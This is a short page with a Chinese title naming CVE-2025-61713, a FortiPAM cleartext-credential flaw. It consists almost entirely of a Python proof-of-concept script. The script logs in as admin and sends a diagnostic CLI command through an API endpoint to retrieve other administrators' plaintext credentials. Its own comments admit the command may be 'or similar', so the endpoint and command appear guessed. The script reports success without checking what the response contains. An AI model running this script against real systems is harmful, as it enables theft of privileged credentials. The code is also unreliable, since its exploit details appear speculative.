CVE-2025-61713 FortiPAM明文存储敏感信息漏洞

# CVE-2025-61713 PoC - FortiPAM Cleartext Storage of Credentials # Requirements: Valid admin account with read-write privileges # This PoC demonstrates the vulnerability via CLI diagnostic commands import requests import json # Configuration target_host = "https://fortipam.example.com" username = "admin" password = "password" # Authentication auth_payload = { "username": username, "password": password } # Note: This PoC requires valid authentication and CLI access # The actual exploit involves running diagnostic commands in CLI: # diagnose system admin credentials list # or similar commands that expose plaintext credentials def exploit_fortipam(): """ FortiPAM CVE-2025-61713 Exploitation Attackers with admin CLI access can retrieve other admin credentials """ print("[*] CVE-2025-61713 FortiPAM Credential Disclosure") print("[*] Target:", target_host) # Step 1: Authenticate with admin credentials session = requests.Session() auth_response = session.post( f"{target_host}/api/v2/login", json=auth_payload ) if auth_response.status_code != 200: print("[-] Authentication failed") return None print("[+] Authentication successful") # Step 2: Execute diagnostic command via CLI API # The vulnerable endpoint exposes credentials in plaintext cli_command = "diagnose system admin credentials list" cli_payload = { "method": "exec", "params": [ { "url": "sys/proxy/helper", "data": [cli_command] } ] } poc_response = session.post( f"{target_host}/api/v2/cli", json=cli_payload ) # Step 3: Extract exposed credentials if poc_response.status_code == 200: result = poc_response.json() print("[+] Vulnerable endpoint accessed") print("[+] Response contains plaintext credentials") return result return None if __name__ == "__main__": exploit_fortipam()